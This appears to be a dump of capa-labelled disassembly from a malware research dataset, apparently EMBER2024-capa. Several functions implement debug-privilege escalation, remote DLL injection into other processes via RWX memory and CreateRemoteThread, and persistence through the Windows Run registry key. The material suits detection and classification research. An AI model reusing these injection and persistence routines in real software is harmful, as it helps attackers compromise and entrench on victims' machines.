joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140031104
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140053b30
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140053b98
xor al, al
jmp 0x140053bf1
lea r8, [rbp + 0x28]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140053bbe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x140053bf1
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.1400314dd
movzx eax, al
test eax, eax
jne 0x140053be4
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x140053bf1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14009c900]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400312d5
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140056c20
push rbp
push rdi
mov eax, 0x16d8
call fcn.14003143d
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x42e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x16a0], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
lea r8, [rbp + 0x1024]
mov edx, 0x1000
lea rcx, [rbp + 0x10]
call fcn.140031906
test eax, eax
jne 0x140056c82
jmp 0x140056d50
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov dword [rbp + 0x1044], 0
jmp 0x140056ca8
mov eax, dword [rbp + 0x1044]
inc eax
mov dword [rbp + 0x1044], eax
mov eax, dword [rbp + 0x1044]
mov qword [rbp + 0x1698], rax
mov ecx, dword [rbp + 0x1024]
xor edx, edx
mov eax, ecx
mov ecx, 4
div rcx
mov rcx, qword [rbp + 0x1698]
cmp rcx, rax
jae 0x140056d50
mov eax, dword [rbp + 0x1044]
mov eax, dword [rbp + rax*4 + 0x10]
mov dword [rbp + 0x1064], eax
cmp dword [rbp + 0x1064], 0
je 0x140056d4b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rbp + 0x1064], eax
je 0x140056d4b
mov r8d, dword [rbp + 0x1064]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x1088], rax
cmp qword [rbp + 0x1088], 0
jne 0x140056d24
jmp 0x140056c9a
mov rdx, qword [rbp + 0x1088]
mov ecx, dword [rbp + 0x1064]
call fcn.140031190
nop
lea rdx, [rbp + 0x1088]
lea rcx, [0x1400b4570]
call fcn.140032662
nop
jmp 0x140056c9a
lea rcx, [rbp - 0x20]
lea rdx, [0x14009d2c0]
call fcn.1400321b2
mov rcx, qword [rbp + 0x16a0]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x16b8]
pop rdi
pop rbp
ret
Function at 0x140031424
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x1400545e0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
mov qword [rbp + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 8]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140054649
xor al, al
jmp 0x1400546fe
lea r8, [rbp + 0x28]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140054672
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x1400546fe
mov dword [rbp + 0x48], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rbp + 0x28]
mov qword [rbp + rax + 0x4c], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x54], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1400546d7
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x1400546fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
jne 0x1400546f3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor al, al
jmp 0x1400546fe
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14009d4b0]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x140031780
Capabilities:
Set registry value

Disassembly:
jmp 0x140057190
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x36
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x188], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
movzx r8d, byte [rbp + 0x174]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
lea rcx, [rbp + 0x110]
call fcn.140031ad2
mov rcx, rax
call fcn.1400311ef
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x40], 0
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14005729f
mov eax, dword [rbp + 0x1c0]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x1b8]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
mov rdx, qword [rbp + 0x1b0]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140057294
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov al, 1
jmp 0x1400572a1
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14009e0e0]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0x188]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret

Function at 0x1400317f3
Capabilities:
Get process image filename

Disassembly:
jmp 0x140055060
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x208], rax
mov dword [rbp + 0x1f4], 0
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x238]
call fcn.1400321cb
test eax, eax
je 0x14005510b
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x230]
call fcn.1400319ec
mov eax, dword [rbp + 0x1f4]
or eax, 1
mov dword [rbp + 0x1f4], eax
mov rax, qword [rbp + 0x230]
jmp 0x140055178
mov r9d, 0x104
lea r8, [rbp + 0x10]
xor edx, edx
mov rcx, qword [rbp + 0x238]
call fcn.1400322ca
test eax, eax
je 0x14005514f
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x230]
call fcn.1400319ec
mov eax, dword [rbp + 0x1f4]
or eax, 1
mov dword [rbp + 0x1f4], eax
mov rax, qword [rbp + 0x230]
jmp 0x140055178
lea rdx, [0x14009f31b]
mov rcx, qword [rbp + 0x230]
call fcn.1400319ec
mov eax, dword [rbp + 0x1f4]
or eax, 1
mov dword [rbp + 0x1f4], eax
mov rax, qword [rbp + 0x230]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14009cb20]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret
Function at 0x140031ac3
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140064e20
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x40]
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
mov r8d, dword [rbp + 0x1b0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x140064e82
mov byte [rbp + 0x124], 0
mov rcx, qword [rbp + 0x1b8]
call fcn.140031456
movzx eax, byte [rbp + 0x124]
jmp 0x140064f8f
mov rcx, qword [rbp + 0x1b8]
call fcn.140032216
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140064ed5
mov byte [rbp + 0x144], 0
mov rcx, qword [rbp + 0x1b8]
call fcn.140031456
movzx eax, byte [rbp + 0x144]
jmp 0x140064f8f
mov rcx, qword [rbp + 0x1b8]
call fcn.140032216
mov qword [rbp + 0x178], rax
mov rcx, qword [rbp + 0x1b8]
call fcn.140031226
mov qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x178]
mov r9, rcx
mov r8, rax
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140064f25
mov byte [rbp + 0x180], 1
jmp 0x140064f2c
mov byte [rbp + 0x180], 0
movzx eax, byte [rbp + 0x180]
mov byte [rbp + 0x44], al
movzx eax, byte [rbp + 0x44]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov byte [rbp + 0x164], 1
mov rcx, qword [rbp + 0x1b8]
call fcn.140031456
movzx eax, byte [rbp + 0x164]
lea rsp, [rbp + 0x198]
pop rdi
pop rbp
ret

Function at 0x140031c2b
Capabilities:
Terminate process

Disassembly:
jmp 0x140090460
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140031ece
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400920e0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140092100
xor al, al
jmp 0x140092181
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140092113
xor al, al
jmp 0x140092181
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14009213d
xor al, al
jmp 0x140092181
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140092151
xor al, al
jmp 0x140092181
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140092163
xor al, al
jmp 0x140092181
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14009217f
xor al, al
jmp 0x140092181
mov al, 1
add rsp, 0x38
ret
Function at 0x1400321cb
Capabilities:
Get process image filename

Disassembly:
jmp 0x1400664dc
jmp qword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameA]

Function at 0x140032383
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
jmp 0x140057050
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
movzx r8d, byte [rbp + 0x154]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x108]
call fcn.140031fff
mov rcx, rax
call fcn.1400322b6
mov qword [rbp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140057117
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x14005710c
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov al, 1
jmp 0x140057119
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14009dfe0]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret

Function at 0x1400325cc
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140052f40
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x1400b4040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x1400bf120]
call fcn.1400324d2
nop
movzx r8d, byte [rbp + 0x154]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rcx, [rbp + 0x108]
call fcn.140031735
mov rcx, rax
call fcn.140031497
mov qword [rbp + 0x28], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140053034
mov rcx, qword [rbp + 0x198]
call fcn.1400319c4
inc rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140053029
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov al, 1
jmp 0x140053036
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14009e060]
call fcn.1400321b2
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140031aa0
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x1400913e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140032586
movzx eax, al
test eax, eax
jne 0x140091400
mov ecx, 7
call fcn.1400321da
nop
mov byte [rsp + 0x20], 0
call fcn.14003222a
mov byte [rsp + 0x21], al
cmp dword [0x1400b45f8], 1
jne 0x140091424
mov ecx, 7
call fcn.1400321da
nop
jmp 0x14009147c
cmp dword [0x1400b45f8], 0
jne 0x140091477
mov dword [0x1400b45f8], 1
lea rdx, [0x14009b7b0]
lea rcx, [0x14009b480]
call fcn.140031a55
test eax, eax
je 0x140091458
mov eax, 0xff
jmp 0x140091581
lea rdx, [0x14009b370]
lea rcx, [section..rdata]
call fcn.14003220c
mov dword [0x1400b45f8], 2
jmp 0x14009147c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140032194
call fcn.140031f5a
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400914d9
mov rcx, qword [rsp + 0x30]
call fcn.14003188e
movzx eax, al
test eax, eax
je 0x1400914d9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x1400c1020]
nop
call fcn.14003204f
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14009150d
mov rcx, qword [rsp + 0x38]
call fcn.14003188e
movzx eax, al
test eax, eax
je 0x14009150d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140032450
nop
call fcn.1400915f0
mov dword [rsp + 0x28], eax
call fcn.140031ece
movzx eax, al
test eax, eax
jne 0x14009152c
mov ecx, dword [rsp + 0x28]
call fcn.1400311c2
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14009153b
call fcn.14003249b
nop
xor edx, edx
mov cl, 1
call fcn.140031802
mov eax, dword [rsp + 0x28]
jmp 0x140091581
add rsp, 0x68
ret
Function at 0x416a80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x416c06
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [0x0129d070]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.004300c0
xorps xmm15, xmm15
mov r14, qword [0x01338cd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x416af6
mov rbx, qword [rsp + 0x60]
jmp 0x416b0a
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
nop
ret
sub rax, rbx
add rcx, rbx
mov rbx, rax
test rbx, rbx
jbe 0x416b2e
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rcx
mov rax, rbx
jmp 0x416b42
cmp rbx, 0x1000
jae 0x416b01
jmp 0x416bba
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
cmp rbx, 0x1000
jae 0x416b4f
xor edx, edx
jmp 0x416bb1
mov qword [rsp + 0x30], rbx
mov rax, qword [0x0129d070]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax + rax]
call fcn.004300c0
xorps xmm15, xmm15
mov r14, qword [0x01338cd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov edx, eax
mov rax, qword [rsp + 0x38]
test dl, dl
jne 0x416b38
jmp 0x416b20
call fcn.0045d3e0
xorps xmm15, xmm15
mov r14, qword [0x01338cd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
cmp eax, 8
jne 0x416bea
lea rax, [0x00e82a4e]
mov ebx, 0xd
call fcn.00432bc0
cmp eax, 0x5af
je 0x416bd9
lea rax, [0x00e847f5]
mov ebx, 0x1f
nop dword [rax]
call fcn.00432bc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.004597c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00416a80
Function at 0x41dc40
Capabilities:
Hash data using murmur3

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41de77
sub rsp, 0x38
mov qword [rsp + 0x30], rbp
lea rbp, [rsp + 0x30]
nop dword [rax + rax]
test rax, 7
jne 0x41de65
mov qword [rsp + 0x40], rax
mov rdx, qword [rdi + 0x50]
test byte [rdx], al
nop
mov r9, r8
shr r8, 3
mov r10, r9
and r9d, 7
mov r11, rcx
mov rcx, r9
mov r12d, 1
shl r12d, cl
lea r9, [rdx + r8]
cmp byte [0x013389e6], 0
jne 0x41dd8b
cmp dword [0x0133960c], 0
jle 0x41dcce
cmp qword [rdi + 0x98], r10
ja 0x41dcce
mov r10, qword [rdi + 0x48]
test byte [r10], al
movzx r10d, byte [r8 + r10]
nop
test r12b, r10b
je 0x41de13
movzx edx, byte [r8 + rdx]
test r12b, dl
jne 0x41dd81
nop
lock or byte [r9], r12b
nop
nop
mov rcx, qword [rdi + 0x18]
nop
movabs rdx, 0x800000000000
add rdx, rcx
mov r8, rdx
shr rdx, 0x2a
nop dword [rax]
cmp rdx, 0x40
jae 0x41de06
lea r9, [0x0130ae10]
mov rdx, qword [r9 + rdx*8]
shr r8, 0x16
and r8d, 0xfffff
mov r8, qword [rdx + r8*8]
test byte [r8], al
test byte [rdx], al
mov rdx, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx r9d, byte [r8 + rcx + 0x11440]
lea r8, [r8 + rcx]
lea r8, [r8 + 0x11440]
shr rdx, 0xd
and edx, 7
mov rcx, rdx
mov edx, 1
shl edx, cl
test dl, r9b
jne 0x41dd61
lock or byte [r8], dl
movzx edx, byte [rdi + 0x62]
test dl, 1
je 0x41ddb3
mov rax, qword [rsi + 0x10]
add rax, qword [rdi + 0x68]
mov qword [rsi + 0x10], rax
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
nop
ret
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov qword [rsp + 0x60], rsi
mov rcx, r11
mov rdi, r9
mov esi, r12d
mov r8, r10
nop dword [rax]
call fcn.00416680
test al, al
jne 0x41ddef
mov rax, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x60]
prefetcht0 byte [rax]
mov rdx, qword [rsi]
test rdx, rdx
je 0x41ddd8
mov rdi, qword [rdx + 0x10]
cmp rdi, 0xfd
je 0x41ddd8
jae 0x41ddf9
mov qword [rdx + rdi*8 + 0x18], rax
inc qword [rdx + 0x10]
jmp 0x41dde5
mov rbx, rax
mov rax, rsi
nop
call fcn.00422c00
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
ret
mov rax, rdi
mov ecx, 0xfd
call fcn.0045be20
mov rax, rdx
mov ecx, 0x40
call fcn.0045be40
lea rax, [0x00e816aa]
mov rcx, rbx
mov rdi, r11
mov ebx, 4
call fcn.0041dec0
lea rax, [0x00e81499]
mov ebx, 3
mov rcx, qword [rsp + 0x40]
mov rdi, 0xffffffffffffffff
call fcn.0041dec0
mov rdx, qword [r14 + 0x30]
mov byte [rdx + 0xf9], 2
lea rax, [0x00e831cb]
mov ebx, 0x13
nop
call fcn.00432bc0
lea rax, [0x00e84e9c]
mov ebx, 0x23
call fcn.00432bc0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
call fcn.004597c0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
jmp fcn.0041dc40
Function at 0x41dfc0
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x013389e6], 0
jne 0x41e0af
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x41e0a5
lea rbx, [0x0130ae10]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x41e087
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.0045be40
lea rax, [0x00e85cc8]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.00432bc0
nop
int3

Function at 0x41ff80
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x42007e
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x41ffc0
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x42006f
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00420960
nop dword [rax]
test rax, rax
je 0x42006f
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x004200c0]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rbx, [rsp + 0x10]
mov qword [rsp], rbx
call fcn.00459680
xorps xmm15, xmm15
mov r14, qword [0x01338cd0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x60]
test rdx, rdx
jne 0x42005d
xor eax, eax
jmp 0x420067
mov rax, qword [rdx]
call rax
